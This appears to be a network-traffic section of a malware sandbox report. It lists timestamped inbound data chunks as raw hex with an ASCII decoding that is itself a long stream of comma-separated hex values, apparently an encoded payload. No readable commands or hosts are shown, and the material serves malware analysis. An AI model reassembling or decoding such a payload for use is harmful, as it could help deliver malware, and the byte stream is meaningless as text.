2023-11-06 14:35:15 UTC	1	IN	Data Raw: 38 35 2c 39 33 2c 31 30 30 2c 34 33 2c 35 32 2c 33 31 2c 34 65 2c 36 63 2c 35 30 2c 35 32 2c 36 62 2c 35 34 2c 31 35 39 2c 31 36 36 2c 36 32 2c 33 38 2c 66 63 2c 37 34 2c 35 61 2c 36 64 2c 34 62 2c 37 37 2c 34 33 2c 33 34 2c 37 32 2c 34 31 2c 35 31 2c 36 33 2c 35 35 2c 36 35 2c 35 38 2c 34 36 2c 33 38 2c 33 39 2c 37 30 Data Ascii: 85,93,100,43,52,31,4e,6c,50,52,6b,54,159,166,62,38,fc,74,5a,6d,4b,77,43,34,72,41,51,63,55,65,58,46,38,39,70
2023-11-06 14:35:15 UTC	1	IN	Data Raw: 2c 34 33 2c 34 66 2c 33 31 2c 34 65 2c 36 63 2c 34 63 2c 35 32 2c 36 62 2c 35 34 2c 35 61 2c 36 37 2c 36 32 2c 33 38 2c 34 34 2c 37 34 2c 35 61 2c 36 64 2c 34 62 2c 37 37 2c 34 33 2c 33 34 2c 33 32 2c 34 31 2c 35 31 2c 36 33 2c 31 32 64 2c 36 35 2c 35 38 2c 34 36 2c 34 36 2c 35 38 2c 31 32 61 2c 35 31 2c 34 66 2c 65 35 2c 35 37 2c 31 33 39 2c 36 64 2c 31 30 61 2c 36 63 2c 61 30 2c 31 32 37 2c 38 38 2c 62 36 2c 61 30 2c 61 64 2c 65 37 2c 37 61 2c 64 64 2c 62 64 2c 65 36 2c 61 61 2c 61 36 2c 39 33 2c 61 65 2c 37 31 2c 63 36 2c 62 36 2c 64 33 2c 63 36 2c 62 35 2c 61 63 2c 35 39 2c 64 32 2c 61 38 2c 36 66 2c 61 33 2c 63 33 2c 64 61 2c 36 63 2c 62 62 2c 64 39 2c 37 34 2c 39 65 2c 62 36 2c 62 35 2c 35 38 2c 62 31 2c 65 33 2c 62 65 2c 64 32 2c 37 39 2c 38 34 2c Data Ascii: ,43,4f,31,4e,6c,4c,52,6b,54,5a,67,62,38,44,74,5a,6d,4b,77,43,34,32,41,51,63,12d,65,58,46,46,58,12a,51,4f,e5,57,139,6d,10a,6c,a0,127,88,b6,a0,ad,e7,7a,dd,bd,e6,aa,a6,93,ae,71,c6,b6,d3,c6,b5,ac,59,d2,a8,6f,a3,c3,da,6c,bb,d9,74,9e,b6,b5,58,b1,e3,be,d2,79,84,
2023-11-06 14:35:15 UTC	3	IN	Data Raw: 2c 34 36 2c 33 38 2c 61 31 2c 37 30 2c 34 33 2c 34 66 2c 33 35 2c 34 65 2c 36 63 2c 34 63 2c 35 32 2c 36 62 2c 35 34 2c 35 61 2c 36 37 2c 36 32 2c 33 38 2c 34 34 2c 37 34 2c 35 61 2c 36 64 2c 36 62 2c 37 37 2c 34 33 2c 39 34 2c 36 30 2c 61 33 2c 63 34 2c 64 36 2c 35 35 2c 36 35 2c 35 38 2c 34 36 2c 64 30 2c 35 61 2c 37 30 2c 34 33 2c 34 66 2c 62 31 2c 34 65 2c 36 63 2c 34 63 2c 37 34 2c 36 62 2c 35 34 2c 35 61 2c 64 33 2c 36 32 2c 33 38 2c 34 34 2c 37 34 2c 35 61 2c 36 64 2c 34 62 2c 37 37 2c 34 33 2c 33 34 2c 33 32 2c 34 31 2c 35 31 2c 36 33 2c 37 35 2c 36 35 2c 35 38 2c 61 36 2c 36 36 2c 61 62 2c 64 34 2c 61 34 2c 63 33 2c 39 32 2c 34 65 2c 36 63 2c 65 36 2c 36 64 2c 36 62 2c 35 34 2c 35 61 2c 31 31 37 2c 36 32 2c 33 38 2c 34 34 2c 39 30 2c 35 61 2c 36 Data Ascii: ,46,38,a1,70,43,4f,35,4e,6c,4c,52,6b,54,5a,67,62,38,44,74,5a,6d,6b,77,43,94,60,a3,c4,d6,55,65,58,46,d0,5a,70,43,4f,b1,4e,6c,4c,74,6b,54,5a,d3,62,38,44,74,5a,6d,4b,77,43,34,32,41,51,63,75,65,58,a6,66,ab,d4,a4,c3,92,4e,6c,e6,6d,6b,54,5a,117,62,38,44,90,5a,6
2023-11-06 14:35:15 UTC	4	IN	Data Raw: 31 2c 34 65 2c 36 63 2c 34 63 2c 35 32 2c 36 62 2c 35 34 2c 35 61 2c 36 37 2c 36 32 2c 33 38 2c 34 34 2c 37 34 2c 35 61 2c 36 64 2c 34 62 2c 37 37 2c 34 33 2c 33 34 2c 33 32 2c 34 31 2c 35 31 2c 36 33 2c 35 35 2c 36 35 2c 35 38 2c 34 36 2c 33 38 2c 33 39 2c 37 30 2c 34 33 2c 34 66 2c 33 31 2c 34 65 2c 36 63 2c 34 63 2c 35 32 2c 36 62 2c 35 34 2c 35 61 2c 36 37 2c 36 32 2c 33 38 2c 34 34 2c 37 34 2c 35 61 2c 36 64 2c 34 62 2c 37 37 2c 34 Data Ascii: 1,4e,6c,4c,52,6b,54,5a,67,62,38,44,74,5a,6d,4b,77,43,34,32,41,51,63,55,65,58,46,38,39,70,43,4f,31,4e,6c,4c,52,6b,54,5a,67,62,38,44,74,5a,6d,4b,77,4
2023-11-06 14:35:15 UTC	4	IN	Data Raw: 33 2c 33 34 2c 33 32 2c 34 31 2c 35 31 2c 36 33 2c 35 35 2c 36 35 2c 35 38 2c 34 36 2c 33 38 2c 33 39 2c 37 30 2c 34 33 2c 34 66 2c 33 31 2c 34 65 2c 36 63 2c 34 63 2c 35 32 2c 36 62 2c 35 34 2c 35 61 2c 36 37 2c 36 32 2c 33 38 2c 34 34 2c 37 34 2c 35 61 2c 36 64 2c 34 62 2c 37 37 2c 34 33 2c 33 34 2c 33 32 2c 34 31 2c 35 31 2c 36 33 2c 35 35 2c 36 35 2c 35 38 2c 34 36 2c 38 64 2c 63 34 2c 31 35 63 2c 39 36 2c 61 35 2c 38 38 2c 35 64 2c 31 33 34 2c 31 34 33 2c 31 32 32 2c 31 32 63 2c 31 32 34 2c 31 31 30 2c 31 32 32 2c 31 31 38 2c 33 38 2c 34 34 2c 37 34 2c 64 62 2c 31 35 38 2c 65 65 2c 37 37 2c 34 33 2c 33 34 2c 62 33 2c 31 30 63 2c 64 38 2c 36 33 2c 35 35 2c 36 35 2c 31 31 39 2c 31 30 36 2c 31 30 62 2c 31 33 30 2c 31 35 38 2c 31 30 34 2c 31 31 39 2c 31 Data Ascii: 3,34,32,41,51,63,55,65,58,46,38,39,70,43,4f,31,4e,6c,4c,52,6b,54,5a,67,62,38,44,74,5a,6d,4b,77,43,34,32,41,51,63,55,65,58,46,8d,c4,15c,96,a5,88,5d,134,143,122,12c,124,110,122,118,38,44,74,db,158,ee,77,43,34,b3,10c,d8,63,55,65,119,106,10b,130,158,104,119,1
2023-11-06 14:35:15 UTC	5	IN	Data Raw: 32 64 2c 31 31 65 2c 38 30 2c 65 65 2c 31 31 34 2c 64 34 2c 65 61 2c 31 32 39 2c 61 33 2c 31 30 35 2c 31 33 63 2c 61 38 2c 62 63 2c 31 34 32 2c 31 34 66 2c 31 30 34 2c 31 31 33 2c 66 34 2c 38 66 2c 31 31 32 2c 31 33 39 2c 36 61 2c 61 37 2c 61 37 2c 31 30 34 2c 31 33 34 2c 33 39 2c 37 30 2c 34 33 2c 39 65 2c 37 62 2c 31 34 35 2c 31 34 37 2c 31 34 33 2c 31 34 31 2c 31 36 32 2c 31 33 33 2c 36 39 2c 31 33 35 2c 31 32 33 2c 66 65 2c 38 66 2c 66 37 2c 31 33 38 2c 37 39 2c 63 65 2c 31 34 31 2c 37 32 2c 31 32 62 2c 31 31 61 2c 35 30 2c 31 31 63 2c 31 32 34 2c 31 31 63 2c 62 37 2c 31 34 66 2c 31 32 31 2c 31 32 66 2c 31 32 37 2c 31 33 31 2c 31 31 31 2c 66 30 2c 37 38 2c 31 34 35 2c 31 34 61 2c 31 34 33 2c 31 33 61 2c 62 31 2c 31 34 62 2c 31 32 61 2c 65 38 2c 31 32 Data Ascii: 2d,11e,80,ee,114,d4,ea,129,a3,105,13c,a8,bc,142,14f,104,113,f4,8f,112,139,6a,a7,a7,104,134,39,70,43,9e,7b,145,147,143,141,162,133,69,135,123,fe,8f,f7,138,79,ce,141,72,12b,11a,50,11c,124,11c,b7,14f,121,12f,127,131,111,f0,78,145,14a,143,13a,b1,14b,12a,e8,12
2023-11-06 14:35:15 UTC	7	IN	Data Raw: 33 38 2c 34 34 2c 66 35 2c 31 32 34 2c 31 34 63 2c 34 62 2c 37 37 2c 34 33 2c 31 32 62 2c 31 30 39 2c 38 37 2c 35 36 2c 65 33 2c 35 35 2c 36 35 2c 35 38 2c 31 30 37 2c 66 38 2c 35 65 2c 66 31 2c 31 31 64 2c 31 31 36 2c 33 31 2c 34 65 2c 36 63 2c 31 34 33 2c 31 32 39 2c 31 36 32 2c 31 33 63 2c 31 35 31 2c 31 35 36 2c 65 33 2c 31 31 66 2c 31 30 36 2c 37 34 2c 35 61 2c 36 64 2c 39 61 2c 38 36 2c 31 31 32 2c 65 63 2c 36 63 2c 34 31 2c 35 31 2c 36 33 2c 31 34 63 2c 31 33 62 2c 64 62 2c 31 31 35 2c 35 63 2c 34 38 2c 31 33 62 2c 31 30 34 2c 31 31 31 2c 31 32 38 2c 64 31 2c 31 35 37 2c 61 30 2c 64 33 2c 31 35 32 2c 31 35 33 2c 35 61 2c 36 37 2c 36 32 2c 66 39 2c 31 30 37 2c 63 31 2c 31 35 31 2c 31 34 34 2c 31 30 63 2c 31 34 65 2c 65 36 2c 62 35 2c 31 30 63 2c 65 Data Ascii: 38,44,f5,124,14c,4b,77,43,12b,109,87,56,e3,55,65,58,107,f8,5e,f1,11d,116,31,4e,6c,143,129,162,13c,151,156,e3,11f,106,74,5a,6d,9a,86,112,ec,6c,41,51,63,14c,13b,db,115,5c,48,13b,104,111,128,d1,157,a0,d3,152,153,5a,67,62,f9,107,c1,151,144,10c,14e,e6,b5,10c,e
2023-11-06 14:35:15 UTC	8	IN	Data Raw: 63 2c 34 36 2c 33 62 2c 61 65 2c 62 33 2c 61 64 2c 35 33 2c 31 31 39 2c 64 64 2c 37 31 2c 34 63 2c 35 32 2c 63 34 2c 64 37 2c 62 66 2c 31 36 33 2c 36 32 2c 38 65 2c 31 32 63 2c 31 32 62 2c 35 66 2c 36 64 2c 34 62 2c 64 30 2c 63 63 2c 37 39 2c 31 31 36 2c 63 36 2c 31 31 31 2c 64 37 2c 35 65 2c 62 62 2c 61 38 2c 31 32 65 2c 31 31 30 2c 33 65 2c 37 30 2c 34 33 2c 61 38 2c 38 61 2c 31 31 35 2c 62 31 2c 31 34 38 2c 31 35 30 2c 31 36 61 2c 31 35 33 2c 31 35 39 2c 31 34 66 2c 36 64 2c 33 38 2c 34 34 2c 37 34 2c 64 64 2c 65 61 2c 31 32 66 2c 37 37 2c 62 38 2c 36 62 2c 31 33 31 2c 62 36 2c 35 39 2c 31 34 65 2c 35 66 2c 63 66 2c 35 63 2c 31 32 65 2c 62 33 2c 33 64 2c 37 30 2c 34 33 2c 61 38 2c 66 34 2c 61 34 2c 64 36 2c 34 63 2c 31 35 31 2c 61 30 2c 63 30 2c 61 34 Data Ascii: c,46,3b,ae,b3,ad,53,119,dd,71,4c,52,c4,d7,bf,163,62,8e,12c,12b,5f,6d,4b,d0,cc,79,116,c6,111,d7,5e,bb,a8,12e,110,3e,70,43,a8,8a,115,b1,148,150,16a,153,159,14f,6d,38,44,74,dd,ea,12f,77,b8,6b,131,b6,59,14e,5f,cf,5c,12e,b3,3d,70,43,a8,f4,a4,d6,4c,151,a0,c0,a4
2023-11-06 14:35:15 UTC	9	IN	Data Raw: 31 35 38 2c 39 36 2c 31 34 65 2c 31 33 30 2c 31 34 64 2c 63 35 2c 64 31 2c 31 31 32 2c 65 30 2c 36 61 2c 64 66 2c 31 35 64 2c 64 37 2c 33 39 2c 38 61 2c 66 37 2c 31 32 30 2c 37 63 2c 63 65 2c 31 35 64 2c 31 33 33 2c 38 61 2c 39 63 2c 34 31 2c 31 35 30 2c 39 38 2c 63 31 2c 61 66 2c 39 63 2c 34 36 2c 31 33 37 2c 31 31 30 2c 66 62 2c 31 31 62 2c 64 34 2c 31 30 63 2c 63 33 2c 39 61 2c 62 36 2c 35 65 2c 63 39 2c 38 64 2c 35 66 2c 37 37 2c 62 31 2c 37 63 2c 34 34 2c 65 38 2c 36 66 2c 31 36 63 2c 63 30 2c 37 66 2c 31 32 62 2c 61 35 2c 34 39 2c 34 31 2c 35 31 2c 62 63 2c 64 61 2c 31 32 35 2c 63 63 2c 35 35 2c 63 33 2c 61 65 2c 37 38 2c 31 32 63 2c 63 61 2c 31 33 30 2c 31 34 64 2c 31 36 62 2c 31 33 34 2c 31 33 66 2c 36 63 2c 35 34 2c 35 61 2c 66 30 2c 39 32 2c 31 Data Ascii: 158,96,14e,130,14d,c5,d1,112,e0,6a,df,15d,d7,39,8a,f7,120,7c,ce,15d,133,8a,9c,41,150,98,c1,af,9c,46,137,110,fb,11b,d4,10c,c3,9a,b6,5e,c9,8d,5f,77,b1,7c,44,e8,6f,16c,c0,7f,12b,a5,49,41,51,bc,da,125,cc,55,c3,ae,78,12c,ca,130,14d,16b,134,13f,6c,54,5a,f0,92,1
2023-11-06 14:35:15 UTC	11	IN	Data Raw: 30 61 2c 36 37 2c 35 61 2c 36 37 2c 31 34 64 2c 36 36 2c 63 66 2c 62 39 2c 31 34 36 2c 66 38 2c 35 33 2c 31 30 32 2c 34 63 2c 62 64 2c 37 66 2c 31 31 64 2c 61 31 2c 62 34 2c 31 33 64 2c 63 39 2c 36 65 2c 34 36 2c 33 38 2c 39 32 2c 63 39 2c 31 30 36 2c 64 61 2c 39 36 2c 31 33 36 2c 66 37 2c 39 31 2c 31 32 65 2c 66 34 2c 39 39 2c 31 33 61 2c 65 61 2c 64 66 2c 31 31 63 2c 34 34 2c 65 39 2c 36 30 2c 62 64 2c 31 33 33 2c 64 35 2c 35 36 2c 33 34 2c 33 32 2c 31 32 39 2c 63 66 2c 37 36 2c 35 35 2c 36 35 2c 31 31 66 2c 38 62 2c 31 33 34 2c 31 33 37 2c 31 36 66 2c 31 34 32 2c 31 34 65 2c 62 63 2c 39 33 2c 31 34 63 2c 31 33 34 2c 39 61 2c 37 38 2c 35 34 2c 35 61 2c 31 32 61 2c 31 34 61 2c 37 31 2c 36 38 2c 37 34 2c 35 61 2c 31 35 36 2c 65 66 2c 31 37 35 2c 31 34 32 Data Ascii: 0a,67,5a,67,14d,66,cf,b9,146,f8,53,102,4c,bd,7f,11d,a1,b4,13d,c9,6e,46,38,92,c9,106,da,96,136,f7,91,12e,f4,99,13a,ea,df,11c,44,e9,60,bd,133,d5,56,34,32,129,cf,76,55,65,11f,8b,134,137,16f,142,14e,bc,93,14c,134,9a,78,54,5a,12a,14a,71,68,74,5a,156,ef,175,142
2023-11-06 14:35:15 UTC	12	IN	Data Raw: 2c 61 36 2c 33 38 2c 62 39 2c 38 63 2c 31 34 32 2c 37 61 2c 35 66 2c 37 37 2c 34 33 2c 39 65 2c 35 30 2c 31 32 39 2c 61 63 2c 37 35 2c 35 35 2c 36 35 2c 63 30 2c 31 34 35 2c 33 38 2c 33 39 2c 37 30 2c 31 32 62 2c 65 63 2c 34 30 2c 34 65 2c 36 63 2c 61 35 2c 61 62 2c 66 36 2c 63 39 2c 36 32 2c 66 34 2c 39 36 2c 31 32 64 2c 64 34 2c 62 33 2c 39 65 2c 36 64 2c 38 34 2c 39 35 2c 62 37 2c 33 38 2c 62 64 2c 31 30 38 2c 31 33 63 2c 64 31 2c 62 66 2c 37 64 2c 31 34 30 2c 35 31 2c 35 64 2c 33 39 2c 37 30 2c 39 63 2c 64 61 2c 31 32 39 2c 38 39 2c 31 36 37 2c 63 31 2c 36 31 2c 31 35 33 2c 66 66 2c 31 35 38 2c 31 36 36 2c 31 36 31 2c 66 66 2c 34 34 2c 38 30 2c 35 61 2c 36 64 2c 34 62 2c 61 61 2c 31 30 33 2c 31 31 66 2c 38 33 2c 61 62 2c 35 62 2c 31 34 62 2c 61 65 2c Data Ascii: ,a6,38,b9,8c,142,7a,5f,77,43,9e,50,129,ac,75,55,65,c0,145,38,39,70,12b,ec,40,4e,6c,a5,ab,f6,c9,62,f4,96,12d,d4,b3,9e,6d,84,95,b7,38,bd,108,13c,d1,bf,7d,140,51,5d,39,70,9c,da,129,89,167,c1,61,153,ff,158,166,161,ff,44,80,5a,6d,4b,aa,103,11f,83,ab,5b,14b,ae,
2023-11-06 14:35:15 UTC	13	IN	Data Raw: 2c 61 36 2c 36 66 2c 34 66 2c 31 36 65 2c 31 31 36 2c 35 35 2c 63 65 2c 66 39 2c 31 31 35 2c 36 33 2c 35 35 2c 36 35 2c 31 35 36 2c 34 66 2c 61 64 2c 33 66 2c 66 62 2c 39 30 2c 35 37 2c 35 32 2c 61 37 2c 37 30 2c 64 37 2c 61 66 2c 37 37 2c 64 66 2c 61 64 2c 36 66 2c 65 64 2c 39 33 2c 34 38 2c 66 66 2c 61 37 2c 31 36 39 2c 34 65 2c 63 34 2c 31 33 37 2c 62 64 2c 38 63 2c 34 35 2c 64 63 2c 62 38 2c 36 31 2c 66 30 2c 62 32 2c 34 61 2c 63 33 2c 38 62 2c 37 38 2c 63 63 2c 61 32 2c 33 39 2c 64 37 2c 62 39 2c 31 34 38 2c 64 64 2c 31 33 63 2c 31 31 35 2c 31 35 34 2c 36 62 2c 61 63 2c 62 62 2c 31 33 65 2c 62 33 2c 64 30 2c 37 30 2c 62 35 2c 62 36 2c 39 64 2c 62 66 2c 38 66 2c 31 33 39 2c 64 34 2c 31 34 36 2c 35 36 2c 65 65 2c 62 35 2c 31 33 61 2c 34 37 2c 62 65 2c Data Ascii: ,a6,6f,4f,16e,116,55,ce,f9,115,63,55,65,156,4f,ad,3f,fb,90,57,52,a7,70,d7,af,77,df,ad,6f,ed,93,48,ff,a7,169,4e,c4,137,bd,8c,45,dc,b8,61,f0,b2,4a,c3,8b,78,cc,a2,39,d7,b9,148,dd,13c,115,154,6b,ac,bb,13e,b3,d0,70,b5,b6,9d,bf,8f,139,d4,146,56,ee,b5,13a,47,be,
2023-11-06 14:35:15 UTC	15	IN	Data Raw: 2c 34 36 2c 62 38 2c 33 39 2c 37 30 2c 39 36 2c 61 30 2c 31 33 30 2c 31 32 34 2c 66 37 2c 35 39 2c 31 34 36 2c 63 30 2c 39 38 2c 35 61 2c 31 30 38 2c 31 32 32 2c 38 33 2c 38 38 2c 37 34 2c 31 31 34 2c 36 64 2c 34 62 2c 37 37 2c 63 33 2c 31 30 37 2c 31 31 63 2c 34 61 2c 61 31 2c 36 62 2c 66 36 2c 31 32 35 2c 61 33 2c 38 61 2c 33 38 2c 63 34 2c 62 30 2c 35 33 2c 64 61 2c 33 65 2c 31 34 32 2c 63 31 2c 39 30 2c 35 32 2c 65 65 2c 66 38 2c 65 32 2c 31 32 62 2c 36 32 2c 33 38 2c 34 34 2c 37 34 2c 66 62 2c 31 32 64 2c 39 36 2c 62 62 2c 34 33 2c 62 66 2c 37 32 2c 35 31 2c 31 34 66 2c 61 62 2c 39 38 2c 31 30 36 2c 31 31 38 2c 39 31 2c 37 63 2c 33 39 2c 66 62 2c 38 62 2c 35 66 2c 62 31 2c 63 37 2c 61 66 2c 34 63 2c 63 37 2c 37 34 2c 64 37 2c 62 61 2c 36 62 2c 31 36 Data Ascii: ,46,b8,39,70,96,a0,130,124,f7,59,146,c0,98,5a,108,122,83,88,74,114,6d,4b,77,c3,107,11c,4a,a1,6b,f6,125,a3,8a,38,c4,b0,53,da,3e,142,c1,90,52,ee,f8,e2,12b,62,38,44,74,fb,12d,96,bb,43,bf,72,51,14f,ab,98,106,118,91,7c,39,fb,8b,5f,b1,c7,af,4c,c7,74,d7,ba,6b,16
2023-11-06 14:35:15 UTC	16	IN	Data Raw: 2c 64 36 2c 39 62 2c 39 38 2c 35 62 2c 36 37 2c 36 32 2c 61 32 2c 38 33 2c 66 64 2c 39 66 2c 31 36 35 2c 61 35 2c 31 30 30 2c 38 33 2c 33 63 2c 62 62 2c 38 31 2c 35 35 2c 65 36 2c 31 31 35 2c 36 64 2c 61 32 2c 62 62 2c 31 32 63 2c 61 33 2c 37 34 2c 63 65 2c 31 34 61 2c 39 39 2c 34 65 2c 37 63 2c 34 63 2c 35 32 2c 31 32 63 2c 31 33 62 2c 36 39 2c 36 61 2c 64 62 2c 34 34 2c 61 63 2c 37 34 2c 64 61 2c 36 64 2c 34 62 2c 63 65 2c 31 34 32 2c 34 39 2c 34 65 2c 66 31 2c 39 31 2c 36 33 2c 64 61 2c 31 32 35 2c 63 64 2c 34 65 2c 62 62 2c 31 30 31 2c 31 36 66 2c 31 32 63 2c 65 63 2c 33 31 2c 34 65 2c 36 63 2c 64 39 2c 65 39 2c 36 62 2c 63 34 2c 35 61 2c 36 37 2c 65 62 2c 38 64 2c 31 34 30 2c 61 66 2c 31 35 34 2c 65 34 2c 38 65 2c 31 30 32 2c 31 30 64 2c 35 66 2c 31 Data Ascii: ,d6,9b,98,5b,67,62,a2,83,fd,9f,165,a5,100,83,3c,bb,81,55,e6,115,6d,a2,bb,12c,a3,74,ce,14a,99,4e,7c,4c,52,12c,13b,69,6a,db,44,ac,74,da,6d,4b,ce,142,49,4e,f1,91,63,da,125,cd,4e,bb,101,16f,12c,ec,31,4e,6c,d9,e9,6b,c4,5a,67,eb,8d,140,af,154,e4,8e,102,10d,5f,1
2023-11-06 14:35:15 UTC	17	IN	Data Raw: 33 2c 61 33 2c 37 38 2c 65 33 2c 63 36 2c 34 66 2c 31 30 32 2c 39 32 2c 33 38 2c 62 64 2c 63 30 2c 35 39 2c 65 63 2c 63 65 2c 36 64 2c 65 33 2c 39 33 2c 34 38 2c 36 34 2c 31 33 65 2c 34 34 2c 39 63 2c 31 32 64 2c 64 31 2c 65 39 2c 31 34 38 2c 35 32 2c 37 61 2c 65 32 2c 66 66 2c 36 37 2c 36 32 2c 33 38 2c 63 66 2c 66 31 2c 31 35 36 2c 66 38 2c 39 38 2c 38 33 2c 31 30 34 2c 31 33 33 2c 33 36 2c 39 30 2c 64 65 2c 61 66 2c 38 36 2c 31 36 31 2c 64 62 2c 31 34 35 2c 37 37 2c 61 66 2c 37 33 2c 61 64 2c 38 65 2c 39 30 2c 64 39 2c 63 39 2c 31 34 30 2c 64 66 2c 38 37 2c 31 34 66 2c 65 33 2c 63 34 2c 37 32 2c 63 33 2c 39 66 2c 37 38 2c 65 33 2c 63 36 2c 34 66 2c 31 30 32 2c 61 30 2c 34 34 2c 62 62 2c 39 61 2c 35 39 2c 65 63 2c 61 30 2c 36 39 2c 65 33 2c 39 66 2c 33 Data Ascii: 3,a3,78,e3,c6,4f,102,92,38,bd,c0,59,ec,ce,6d,e3,93,48,64,13e,44,9c,12d,d1,e9,148,52,7a,e2,ff,67,62,38,cf,f1,156,f8,98,83,104,133,36,90,de,af,86,161,db,145,77,af,73,ad,8e,90,d9,c9,140,df,87,14f,e3,c4,72,c3,9f,78,e3,c6,4f,102,a0,44,bb,9a,59,ec,a0,69,e3,9f,3
2023-11-06 14:35:15 UTC	19	IN	Data Raw: 2c 34 30 2c 61 65 2c 63 37 2c 63 64 2c 39 62 2c 33 37 2c 35 32 2c 66 34 2c 39 39 2c 36 31 2c 31 36 39 2c 31 31 35 2c 65 32 2c 62 33 2c 36 38 2c 33 63 2c 63 37 2c 31 37 32 2c 37 61 2c 65 30 2c 36 37 2c 66 37 2c 63 30 2c 34 33 2c 33 32 2c 62 36 2c 35 66 2c 65 65 2c 31 32 33 2c 31 32 34 2c 35 38 2c 34 36 2c 33 38 2c 62 39 2c 31 34 33 2c 31 33 32 2c 64 61 2c 37 65 2c 35 36 2c 37 35 2c 38 35 2c 64 66 2c 61 66 2c 65 34 2c 39 65 2c 66 32 2c 31 33 30 2c 31 32 33 2c 36 34 2c 66 34 2c 64 37 2c 37 63 2c 34 62 2c 65 63 2c 35 33 2c 63 31 2c 38 30 2c 31 32 31 2c 31 31 30 2c 36 33 2c 35 35 2c 36 35 2c 64 38 2c 31 31 39 2c 31 32 37 2c 63 34 2c 62 64 2c 34 62 2c 35 38 2c 61 61 2c 35 32 2c 66 39 2c 64 30 2c 65 32 2c 31 32 66 2c 35 34 2c 35 61 2c 36 37 2c 65 66 2c 38 36 2c Data Ascii: ,40,ae,c7,cd,9b,37,52,f4,99,61,169,115,e2,b3,68,3c,c7,172,7a,e0,67,f7,c0,43,32,b6,5f,ee,123,124,58,46,38,b9,143,132,da,7e,56,75,85,df,af,e4,9e,f2,130,123,64,f4,d7,7c,4b,ec,53,c1,80,121,110,63,55,65,d8,119,127,c4,bd,4b,58,aa,52,f9,d0,e2,12f,54,5a,67,ef,86,
2023-11-06 14:35:15 UTC	20	IN	Data Raw: 2c 63 65 2c 61 34 2c 31 32 64 2c 64 39 2c 31 33 36 2c 62 35 2c 31 31 62 2c 36 66 2c 35 36 2c 35 61 2c 36 37 2c 65 66 2c 63 34 2c 34 35 2c 62 38 2c 35 62 2c 36 64 2c 34 62 2c 31 30 30 2c 39 30 2c 31 32 38 2c 62 64 2c 38 64 2c 65 31 2c 61 37 2c 38 38 2c 31 36 34 2c 37 62 2c 31 31 34 2c 61 64 2c 34 62 2c 66 62 2c 63 66 2c 64 66 2c 66 35 2c 34 65 2c 36 63 2c 34 63 2c 37 35 2c 62 38 2c 31 34 63 2c 63 34 2c 38 37 2c 63 31 2c 31 32 33 2c 34 37 2c 37 37 2c 31 32 33 2c 62 34 2c 64 30 2c 31 34 30 2c 63 30 2c 31 32 64 2c 62 64 2c 38 65 2c 31 34 35 2c 65 65 2c 61 39 2c 31 35 65 2c 35 63 2c 64 31 2c 34 32 2c 36 34 2c 62 64 2c 31 33 33 2c 64 61 2c 31 32 32 2c 31 30 66 2c 31 36 61 2c 35 30 2c 61 30 2c 65 65 2c 31 35 32 2c 39 39 2c 66 30 2c 61 66 2c 31 33 30 2c 63 32 2c Data Ascii: ,ce,a4,12d,d9,136,b5,11b,6f,56,5a,67,ef,c4,45,b8,5b,6d,4b,100,90,128,bd,8d,e1,a7,88,164,7b,114,ad,4b,fb,cf,df,f5,4e,6c,4c,75,b8,14c,c4,87,c1,123,47,77,123,b4,d0,140,c0,12d,bd,8e,145,ee,a9,15e,5c,d1,42,64,bd,133,da,122,10f,16a,50,a0,ee,152,99,f0,af,130,c2,
2023-11-06 14:35:15 UTC	21	IN	Data Raw: 31 32 62 2c 66 62 2c 61 63 2c 65 34 2c 37 66 2c 61 64 2c 34 62 2c 64 62 2c 31 34 32 2c 36 39 2c 33 32 2c 34 31 2c 35 31 2c 36 33 2c 65 30 2c 61 39 2c 37 63 2c 35 36 2c 63 31 2c 61 35 2c 39 34 2c 35 33 2c 64 63 2c 39 64 2c 37 32 2c 37 63 2c 37 37 2c 31 33 32 2c 62 65 2c 61 61 2c 62 31 2c 31 30 38 2c 31 33 32 2c 37 39 2c 38 38 2c 37 34 2c 38 62 2c 62 32 2c 31 34 37 2c 61 61 2c 31 30 38 2c 38 34 2c 62 62 2c 61 36 2c 31 33 39 2c 31 36 32 2c 63 61 2c 31 35 64 2c 65 33 2c 38 62 2c 31 33 34 2c 31 30 30 2c 62 35 2c 31 33 66 2c 31 34 64 2c 31 33 30 2c 31 34 64 2c 31 36 62 2c 64 35 2c 39 37 2c 31 36 33 2c 65 31 2c 39 66 2c 31 35 37 2c 63 36 2c 64 62 2c 34 34 2c 37 34 2c 35 61 2c 36 64 2c 31 30 65 2c 31 30 32 2c 39 30 2c 31 32 34 2c 39 36 2c 63 61 2c 35 65 2c 36 33 Data Ascii: 12b,fb,ac,e4,7f,ad,4b,db,142,69,32,41,51,63,e0,a9,7c,56,c1,a5,94,53,dc,9d,72,7c,77,132,be,aa,b1,108,132,79,88,74,8b,b2,147,aa,108,84,bb,a6,139,162,ca,15d,e3,8b,134,100,b5,13f,14d,130,14d,16b,d5,97,163,e1,9f,157,c6,db,44,74,5a,6d,10e,102,90,124,96,ca,5e,63
2023-11-06 14:35:15 UTC	23	IN	Data Raw: 2c 31 31 32 2c 36 37 2c 33 65 2c 37 39 2c 31 33 39 2c 39 39 2c 37 31 2c 36 35 2c 35 38 2c 64 31 2c 38 36 2c 34 35 2c 66 62 2c 39 39 2c 35 37 2c 33 34 2c 31 31 64 2c 39 66 2c 35 38 2c 38 63 2c 31 35 33 2c 37 61 2c 37 36 2c 36 37 2c 36 32 2c 63 33 2c 38 39 2c 31 36 34 2c 65 35 2c 62 35 2c 35 33 2c 31 30 32 2c 31 31 61 2c 31 31 63 2c 36 33 2c 35 65 2c 35 31 2c 36 33 2c 31 30 66 2c 31 36 33 2c 31 35 37 2c 31 34 35 2c 31 33 37 2c 37 32 2c 63 33 2c 34 66 2c 35 65 2c 62 35 2c 61 30 2c 31 36 62 2c 31 34 62 2c 31 35 31 2c 64 33 2c 31 32 34 2c 39 62 2c 61 62 2c 36 32 2c 38 66 2c 63 66 2c 31 33 66 2c 31 34 32 2c 62 36 2c 36 38 2c 37 37 2c 34 33 2c 31 31 64 2c 34 65 2c 31 34 30 2c 31 35 30 2c 31 36 32 2c 61 61 2c 66 30 2c 31 34 34 2c 63 39 2c 31 32 34 2c 33 64 2c 66 Data Ascii: ,112,67,3e,79,139,99,71,65,58,d1,86,45,fb,99,57,34,11d,9f,58,8c,153,7a,76,67,62,c3,89,164,e5,b5,53,102,11a,11c,63,5e,51,63,10f,163,157,145,137,72,c3,4f,5e,b5,a0,16b,14b,151,d3,124,9b,ab,62,8f,cf,13f,142,b6,68,77,43,11d,4e,140,150,162,aa,f0,144,c9,124,3d,f
